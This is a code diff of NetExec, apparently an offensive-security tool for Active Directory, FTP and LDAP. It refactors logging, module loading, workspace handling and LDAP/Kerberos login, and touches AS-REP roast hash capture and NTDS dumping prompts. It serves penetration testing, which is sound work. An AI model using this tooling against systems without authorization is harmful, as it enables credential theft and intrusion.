     if args.no_progress or len(targets) == 1:
-        with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
+        with ThreadPoolExecutor(max_workers=args.threads) as executor:
             nxc_logger.debug(f"Creating thread for {protocol_obj}")
-            _ = [executor.submit(protocol_obj, args, db, target) for target in targets]
+            futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
     else:
-        with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
+        with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads) as executor:
             current = 0
             total = len(targets)
             tasks = progress.add_task(
@@ -62,23 +59,17 @@ async def start_run(protocol_obj, args, db, targets):
             for _ in as_completed(futures):
                 current += 1
                 progress.update(tasks, completed=current)
+    for future in as_completed(futures):
+        try:
+            future.result()
+        except Exception:
+            nxc_logger.exception(f"Exception for target {targets[futures.index(future)]}: {future.exception()}")
 
 
 def main():
     first_run_setup(nxc_logger)
-    root_logger = logging.getLogger("root")
     args = gen_cli_args()
 
-    if args.verbose:
-        nxc_logger.logger.setLevel(logging.INFO)
-        root_logger.setLevel(logging.INFO)
-    elif args.debug:
-        nxc_logger.logger.setLevel(logging.DEBUG)
-        root_logger.setLevel(logging.DEBUG)
-    else:
-        nxc_logger.logger.setLevel(logging.ERROR)
-        root_logger.setLevel(logging.ERROR)
-
     # if these are the same, it might double log to file (two FileHandlers will be added)
     # but this should never happen by accident
     if config_log:
@@ -86,8 +77,8 @@ def main():
     if hasattr(args, "log") and args.log:
         nxc_logger.add_file_log(args.log)
 
-    nxc_logger.debug("PYTHON VERSION: " + sys.version)
-    nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
+    nxc_logger.debug(f"PYTHON VERSION: {sys.version}")
+    nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}")
     nxc_logger.debug(f"Passed args: {args}")
 
     # FROM HERE ON A PROTOCOL IS REQUIRED
@@ -150,7 +141,8 @@ def main():
     nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}")
 
     protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
-    nxc_logger.debug(f"Protocol Object: {protocol_object}")
+    nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
+    nxc_logger.debug(f"Protocol Object dir: {dir(protocol_object)}")
     protocol_db_object = p_loader.load_protocol(protocol_db_path).database
     nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
 
@@ -183,13 +175,15 @@ def main():
             nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
         exit(0)
     elif args.module:
-        nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
-        for m in map(str.lower, args.module):
+        # Check the modules for sanity before loading the protocol
+        nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
+        proto_module_paths = []
+        for m in args.module:
             if m not in modules:
                 nxc_logger.error(f"Module not found: {m}")
                 exit(1)
 
-            nxc_logger.debug(f"Loading module {m} at path {modules[m]['path']}")
+            nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}")
             module = loader.init_module(modules[m]["path"])
 
             if not module.opsec_safe:
@@ -197,22 +191,12 @@ def main():
                     nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
                     nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
                 else:
-                    ans = input(
-                        highlight(
-                            "[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf",
-                            "red",
-                        )
-                    )
+                    ans = input(highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf", "red"))
                     if ans.lower() not in ["y", "yes", ""]:
                         exit(1)
 
             if not module.multiple_hosts and len(targets) > 1:
-                ans = input(
-                    highlight(
-                        "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
-                        "red",
-                    )
-                )
+                ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", "red"))
                 if ans.lower() not in ["y", "yes", ""]:
                     exit(1)
 
@@ -223,24 +207,18 @@ def main():
                 if not args.server_port:
                     args.server_port = server_port_dict[args.server]
 
-            nxc_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
-            nxc_logger.debug(f"proto object dir: {dir(protocol_object)}")
-            # get currently set modules, otherwise default to empty list
-            current_modules = getattr(protocol_object, "module", [])
-            current_modules.append(module)
-            protocol_object.module = current_modules
-            nxc_logger.debug(f"proto object module after adding: {protocol_object.module}")
+            # Add modules paths to the protocol object so it can load them itself
+            proto_module_paths.append(modules[m]["path"])
+        protocol_object.module_paths = proto_module_paths
 
     if hasattr(args, "ntds") and args.ntds and not args.userntds:
-        ans = input(
-            highlight(
-                "[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ",
-                "red",
-            )
-        )
+        ans = input(highlight("[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ", "red"))
         if ans.lower() not in ["y", "yes", ""]:
             exit(1)
 
+    if args.jitter and len(targets) > 1:
+        nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red"))
+
     try:
         asyncio.run(start_run(protocol_object, args, db, targets))
     except KeyboardInterrupt:

nxc/nxcdb.py

@@ -1,31 +1,25 @@
 import cmd
-import configparser
 import csv
+import sys
 import os
+import argparse
 from os import listdir
 from os.path import exists
 from os.path import join as path_join
-import shutil
-from sqlite3 import connect
-import sys
 from textwrap import dedent
-
 from requests import get, post, ConnectionError
-from sqlalchemy import create_engine
 from terminaltables import AsciiTable
+from termcolor import colored
 
 from nxc.loaders.protocolloader import ProtocolLoader
-from nxc.paths import CONFIG_PATH, WS_PATH, WORKSPACE_DIR
+from nxc.paths import CONFIG_PATH, WORKSPACE_DIR
+from nxc.database import create_db_engine, open_config, get_workspace, get_db, write_configfile, create_workspace, set_workspace
 
 
 class UserExitedProto(Exception):
     pass
 
 
-def create_db_engine(db_path):
-    return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
-
-
 def print_table(data, title=None):
     print()
     table = AsciiTable(data)
@@ -446,29 +440,15 @@ class NXCDBMenu(cmd.Cmd):
     def __init__(self, config_path):
         cmd.Cmd.__init__(self)
         self.config_path = config_path
-
-        try:
-            self.config = configparser.ConfigParser()
-            self.config.read(self.config_path)
-        except Exception as e:
-            print(f"[-] Error reading nxc.conf: {e}")
-            sys.exit(1)
-
         self.conn = None
         self.p_loader = ProtocolLoader()
         self.protocols = self.p_loader.get_protocols()
 
-        self.workspace = self.config.get("nxc", "workspace")
+        self.config = open_config(self.config_path)
+        self.workspace = get_workspace(self.config)
+        self.db = get_db(self.config)
         self.do_workspace(self.workspace)
 
-        self.db = self.config.get("nxc", "last_used_db")
-        if self.db:
-            self.do_proto(self.db)
-
-    def write_configfile(self):
-        with open(self.config_path, "w") as configfile:
-            self.config.write(configfile)
-
     def do_proto(self, proto):
         if not proto:
             return
@@ -479,7 +459,7 @@ class NXCDBMenu(cmd.Cmd):
             db_nav_object = self.p_loader.load_protocol(self.protocols[proto]["nvpath"])
             db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"])
             self.config.set("nxc", "last_used_db", proto)
-            self.write_configfile()
+            write_configfile(self.config, self.config_path)
             try:
                 proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto)
                 proto_menu.cmdloop()
@@ -506,18 +486,18 @@ class NXCDBMenu(cmd.Cmd):
         if subcommand == "create":
             new_workspace = line.split()[1].strip()
             print(f"[*] Creating workspace '{new_workspace}'")
-            self.create_workspace(new_workspace, self.p_loader, self.protocols)
+            create_workspace(new_workspace, self.p_loader)
             self.do_workspace(new_workspace)
         elif subcommand == "list":
             print("[*] Enumerating Workspaces")
             for workspace in listdir(path_join(WORKSPACE_DIR)):
                 if workspace == self.workspace:
-                    print("==> " + workspace)
+                    print(f" * {colored(workspace, 'green')}")
                 else:
-                    print(workspace)
+                    print(f"   {workspace}")
         elif exists(path_join(WORKSPACE_DIR, line)):
             self.config.set("nxc", "workspace", line)
-            self.write_configfile()
+            write_configfile(self.config, self.config_path)
             self.workspace = line
             self.prompt = f"nxcdb ({line}) > "
 
@@ -538,65 +518,49 @@ class NXCDBMenu(cmd.Cmd):
         Exits
         """
         print_help(help_string)
-
-    @staticmethod
-    def create_workspace(workspace_name, p_loader, protocols):
-        os.mkdir(path_join(WORKSPACE_DIR, workspace_name))
-
-        for protocol in protocols:
-            protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
-            proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
-
-            if not exists(proto_db_path):
-                print(f"[*] Initializing {protocol.upper()} protocol database")
-                conn = connect(proto_db_path)
-                c = conn.cursor()
-
-                # try to prevent some weird sqlite I/O errors
-                c.execute("PRAGMA journal_mode = OFF")
-                c.execute("PRAGMA foreign_keys = 1")
-
-                protocol_object.database.db_schema(c)
-
-                # commit the changes and close everything off
-                conn.commit()
-                conn.close()
-
-
-def delete_workspace(workspace_name):
-    shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
-
-
-def initialize_db(logger):
-    if not exists(path_join(WS_PATH, "default")):
-        logger.debug("Creating default workspace")
-        os.mkdir(path_join(WS_PATH, "default"))
-
-    p_loader = ProtocolLoader()
-    protocols = p_loader.get_protocols()
-    for protocol in protocols:
-        protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
-        proto_db_path = path_join(WS_PATH, "default", f"{protocol}.db")
-
-        if not exists(proto_db_path):
-            logger.debug(f"Initializing {protocol.upper()} protocol database")
-            conn = connect(proto_db_path)
-            c = conn.cursor()
-            # try to prevent some weird sqlite I/O errors
-            c.execute("PRAGMA journal_mode = OFF")  # could try setting to PERSIST if DB corruption starts occurring
-            c.execute("PRAGMA foreign_keys = 1")
-            # set a small timeout (5s) so if another thread is writing to the database, the entire program doesn't crash
-            c.execute("PRAGMA busy_timeout = 5000")
-            protocol_object.database.db_schema(c)
-            # commit the changes and close everything off
-            conn.commit()
-            conn.close()
-
+    
 
 def main():
     if not exists(CONFIG_PATH):
         print("[-] Unable to find config file")
         sys.exit(1)
+    
+    parser = argparse.ArgumentParser(
+        description="NXCDB is a database navigator for NXC",
+    )
+    parser.add_argument(
+        "-gw",
+        "--get-workspace",
+        action="store_true",
+        help="get the current workspace",
+    )
+    parser.add_argument(
+        "-cw",
+        "--create-workspace",
+        help="create a new workspace",
+    )
+    parser.add_argument(
+        "-sw",
+        "--set-workspace",
+        help="set the current workspace",
+    )
+    args = parser.parse_args()
+
+    if args.create_workspace:
+        create_workspace(args.create_workspace)
+        sys.exit()
+    if args.set_workspace:
+        set_workspace(CONFIG_PATH, args.set_workspace)
+        sys.exit()
+    if args.get_workspace:
+        current_workspace = get_workspace(open_config(CONFIG_PATH))
+        for workspace in listdir(path_join(WORKSPACE_DIR)):
+            if workspace == current_workspace:
+                print(f" * {colored(workspace, 'green')}")
+            else:
+                print(f"   {workspace}")
+        sys.exit()
+
     try:
         nxcdbnav = NXCDBMenu(CONFIG_PATH)
         nxcdbnav.cmdloop()

nxc/parsers/ldap_results.py

@@ -0,0 +1,13 @@
+from impacket.ldap import ldapasn1 as ldapasn1_impacket
+
+def parse_result_attributes(ldap_response):
+    parsed_response = []
+    for entry in ldap_response:
+        # SearchResultReferences may be returned
+        if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
+            continue
+        attribute_map = {}
+        for attribute in entry["attributes"]:
+            attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
+        parsed_response.append(attribute_map)
+    return parsed_response

nxc/paths.py

@@ -3,12 +3,13 @@ import sys
 import nxc
 
 NXC_PATH = os.path.expanduser("~/.nxc")
-TMP_PATH = os.path.join("/tmp", "nxc_hosted")
 if os.name == "nt":
     TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted"
-if hasattr(sys, "getandroidapilevel"):
+elif hasattr(sys, "getandroidapilevel"):
     TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")
-WS_PATH = os.path.join(NXC_PATH, "workspaces")
+else:
+    TMP_PATH = os.path.join("/tmp", "nxc_hosted")
+
 CERT_PATH = os.path.join(NXC_PATH, "nxc.pem")
 CONFIG_PATH = os.path.join(NXC_PATH, "nxc.conf")
 WORKSPACE_DIR = os.path.join(NXC_PATH, "workspaces")

nxc/protocols/ftp/database.py

@@ -74,7 +74,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/ftp/proto_args.py

@@ -1,9 +1,12 @@
-def proto_args(parser, std_parser, module_parser):
-    ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=[std_parser, module_parser])
-    ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)")
+from nxc.helpers.args import DisplayDefaultsNotNone
 
-    cgroup = ftp_parser.add_argument_group("FTP Access", "Options for enumerating your access")
-    cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory, ex: --ls or --ls Directory")
-    cgroup.add_argument("--get", metavar="FILE", help="Download a file, ex: --get fileName.txt")
-    cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file, ex: --put inputFileName.txt outputFileName.txt")
+
+def proto_args(parser, parents):
+    ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=parents, formatter_class=DisplayDefaultsNotNone)
+    ftp_parser.add_argument("--port", type=int, default=21, help="FTP port")
+
+    cgroup = ftp_parser.add_argument_group("File Operations", "Options for enumerating and interacting with files on the target")
+    cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory")
+    cgroup.add_argument("--get", metavar="FILE", help="Download a file")
+    cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
     return parser

nxc/protocols/ldap.py

@@ -5,7 +5,7 @@ import hmac
 import os
 import socket
 from binascii import hexlify
-from datetime import datetime
+from datetime import datetime, timedelta
 from re import sub, I
 from zipfile import ZipFile
 from termcolor import colored
@@ -28,6 +28,7 @@ from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
 from impacket.krb5.types import Principal, KerberosException
 from impacket.ldap import ldap as ldap_impacket
 from impacket.ldap import ldapasn1 as ldapasn1_impacket
+from impacket.ldap.ldap import LDAPFilterSyntaxError
 from impacket.smb import SMB_DIALECT
 from impacket.smbconnection import SMBConnection, SessionError
 
@@ -38,6 +39,7 @@ from nxc.logger import NXCAdapter, nxc_logger
 from nxc.protocols.ldap.bloodhound import BloodHound
 from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
 from nxc.protocols.ldap.kerberos import KerberosAttacks
+from nxc.parsers.ldap_results import parse_result_attributes
 
 ldap_error_status = {
     "1": "STATUS_NOT_SUPPORTED",
@@ -165,7 +167,7 @@ class ldap(connection):
             ldap_url = f"{proto}://{host}"
             self.logger.info(f"Connecting to {ldap_url} with no baseDN")
             try:
-                ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
+                ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
                 if ldap_connection:
                     self.logger.debug(f"ldap_connection: {ldap_connection}")
             except SysCallError as e:
@@ -212,6 +214,7 @@ class ldap(connection):
         try:
             string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
             transport = DCERPCTransportFactory(string_binding)
+            transport.setRemoteHost(self.host)
             transport.set_connect_timeout(5)
             dce = transport.get_dce_rpc()
             if self.args.kerberos:
@@ -251,11 +254,10 @@ class ldap(connection):
     def enum_host_info(self):
         self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
         self.hostname = self.target
+        self.remoteName = self.target
         self.domain = self.targetDomain
         # smb no open, specify the domain
-        if self.args.no_smb:
-            self.domain = self.args.domain
-        else:
+        if not self.args.no_smb:
             self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
 
             try:
@@ -266,8 +268,8 @@ class ldap(connection):
                 if "STATUS_NOT_SUPPORTED" in str(e):
                     self.no_ntlm = True
             if not self.no_ntlm:
-                self.domain = self.conn.getServerDNSDomainName()
                 self.hostname = self.conn.getServerName()
+                self.targetDomain = self.domain = self.conn.getServerDNSDomainName()
             self.server_os = self.conn.getServerOS()
             self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
             self.os_arch = self.get_os_arch()
@@ -275,6 +277,11 @@ class ldap(connection):
 
             if not self.domain:
                 self.domain = self.hostname
+            if self.args.domain:
+                self.domain = self.args.domain
+            if self.args.local_auth:
+                self.domain = self.hostname
+            self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
 
             try:  # noqa: SIM105
                 # DC's seem to want us to logoff first, windows workstations sometimes reset the connection
@@ -282,40 +289,32 @@ class ldap(connection):
             except Exception:
                 pass
 
-            if self.args.domain:
-                self.domain = self.args.domain
-            if self.args.local_auth:
-                self.domain = self.hostname
-
             # Re-connect since we logged off
             self.create_conn_obj()
-        self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
+
+        if not self.kdcHost and self.domain:
+            result = self.resolver(self.domain)
+            self.kdcHost = result["host"] if result else None
+            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
+
+        self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
 
     def print_host_info(self):
         self.logger.debug("Printing host info for LDAP")
         if self.args.no_smb:
-            self.logger.extra["protocol"] = "LDAP"
-            self.logger.extra["port"] = "389"
-            self.logger.display(f"Connecting to LDAP {self.hostname}")
+            self.logger.extra["protocol"] = "LDAP" if self.port == "389" else "LDAPS"
+            self.logger.extra["port"] = self.port
+            self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
         else:
             self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
             self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
             signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
             smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
-            self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
+            self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
             self.logger.extra["protocol"] = "LDAP"
         return True
 
-    def kerberos_login(
-        self,
-        domain,
-        username,
-        password="",
-        ntlm_hash="",
-        aesKey="",
-        kdcHost="",
-        useCache=False,
-    ):
+    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
         self.username = username
         self.password = password
         self.domain = domain
@@ -342,42 +341,29 @@ class ldap(connection):
             if hash_tgt:
                 self.logger.highlight(f"{hash_tgt}")
                 with open(self.args.asreproast, "a+") as hash_asreproast:
-                    hash_asreproast.write(hash_tgt + "\n")
+                    hash_asreproast.write(f"{hash_tgt}\n")
             return False
 
         kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
 
         try:
             # Connect to LDAP
+            self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
+            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
             proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
             ldap_url = f"{proto}://{self.target}"
-            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
-            self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
-            self.ldapConnection.kerberosLogin(
-                username,
-                password,
-                domain,
-                self.lmhash,
-                self.nthash,
-                aesKey,
-                kdcHost=kdcHost,
-                useCache=useCache,
-            )
-
+            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
+            self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
+            self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
             if self.username == "":
                 self.username = self.get_ldap_username()
 
             self.check_if_admin()
 
             used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
-            out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
+            self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
 
-
-            self.logger.extra["protocol"] = "LDAP"
-            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
-            self.logger.success(out)
-
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -399,7 +385,7 @@ class ldap(connection):
             return False
         except (KeyError, KerberosException, OSError) as e:
             self.logger.fail(
-                f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {e!s}",
+                f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {e!s}",
                 color="red",
             )
             return False
@@ -408,33 +394,21 @@ class ldap(connection):
                 # We need to try SSL
                 try:
                     # Connect to LDAPS
+                    self.logger.extra["protocol"] = "LDAPS"
+                    self.logger.extra["port"] = "636"
                     ldaps_url = f"ldaps://{self.target}"
-                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
-                    self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
-                    self.ldapConnection.kerberosLogin(
-                        username,
-                        password,
-                        domain,
-                        self.lmhash,
-                        self.nthash,
-                        aesKey,
-                        kdcHost=kdcHost,
-                        useCache=useCache,
-                    )
-
+                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
+                    self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
+                    self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
                     if self.username == "":
                         self.username = self.get_ldap_username()
 
                     self.check_if_admin()
 
                     # Prepare success credential text
-                    out = f"{domain}\\{self.username} {self.mark_pwned()}"
+                    self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}")
 
-                    self.logger.extra["protocol"] = "LDAPS"
-                    self.logger.extra["port"] = "636"
-                    self.logger.success(out)
-
-                    if not self.args.local_auth:
+                    if not self.args.local_auth and self.username != "":
                         add_user_bh(self.username, self.domain, self.logger, self.config)
                     if self.admin_privs:
                         add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -442,21 +416,21 @@ class ldap(connection):
                 except SessionError as e:
                     error, desc = e.getErrorString()
                     self.logger.fail(
-                        f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error!s}",
+                        f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error!s}",
                         color="magenta" if error in ldap_error_status else "red",
                     )
                     return False
                 except Exception as e:
                     error_code = str(e).split()[-2][:-1]
                     self.logger.fail(
-                        f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
+                        f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                         color="magenta" if error_code in ldap_error_status else "red",
                     )
                     return False
             else:
                 error_code = str(e).split()[-2][:-1]
                 self.logger.fail(
-                    f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error_code!s}",
+                    f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error_code!s}",
                     color="magenta" if error_code in ldap_error_status else "red",
                 )
                 return False
@@ -471,26 +445,24 @@ class ldap(connection):
             if hash_tgt:
                 self.logger.highlight(f"{hash_tgt}")
                 with open(self.args.asreproast, "a+") as hash_asreproast:
-                    hash_asreproast.write(hash_tgt + "\n")
+                    hash_asreproast.write(f"{hash_tgt}\n")
             return False
 
         try:
             # Connect to LDAP
+            self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
+            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
             proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
             ldap_url = f"{proto}://{self.target}"
-            self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
-            self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
+            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
+            self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
             self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
             self.check_if_admin()
 
             # Prepare success credential text
-            out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
+            self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
 
-            self.logger.extra["protocol"] = "LDAP"
-            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
-            self.logger.success(out)
-
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -500,25 +472,18 @@ class ldap(connection):
                 # We need to try SSL
                 try:
                     # Connect to LDAPS
+                    self.logger.extra["protocol"] = "LDAPS"
+                    self.logger.extra["port"] = "636"
                     ldaps_url = f"ldaps://{self.target}"
-                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
-                    self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
-                    self.ldapConnection.login(
-                        self.username,
-                        self.password,
-                        self.domain,
-                        self.lmhash,
-                        self.nthash,
-                    )
+                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
+                    self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
+                    self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
                     self.check_if_admin()
 
                     # Prepare success credential text
-                    out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
-                    self.logger.extra["protocol"] = "LDAPS"
-                    self.logger.extra["port"] = "636"
-                    self.logger.success(out)
+                    self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
 
-                    if not self.args.local_auth:
+                    if not self.args.local_auth and self.username != "":
                         add_user_bh(self.username, self.domain, self.logger, self.config)
                     if self.admin_privs:
                         add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -526,18 +491,21 @@ class ldap(connection):
                 except Exception as e:
                     error_code = str(e).split()[-2][:-1]
                     self.logger.fail(
-                        f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
+                        f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                         color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
                     )
+                    self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
             else:
                 error_code = str(e).split()[-2][:-1]
                 self.logger.fail(
-                    f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
+                    f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                     color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
                 )
+                if proto == "ldaps":
+                    self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
             return False
         except OSError as e:
-            self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
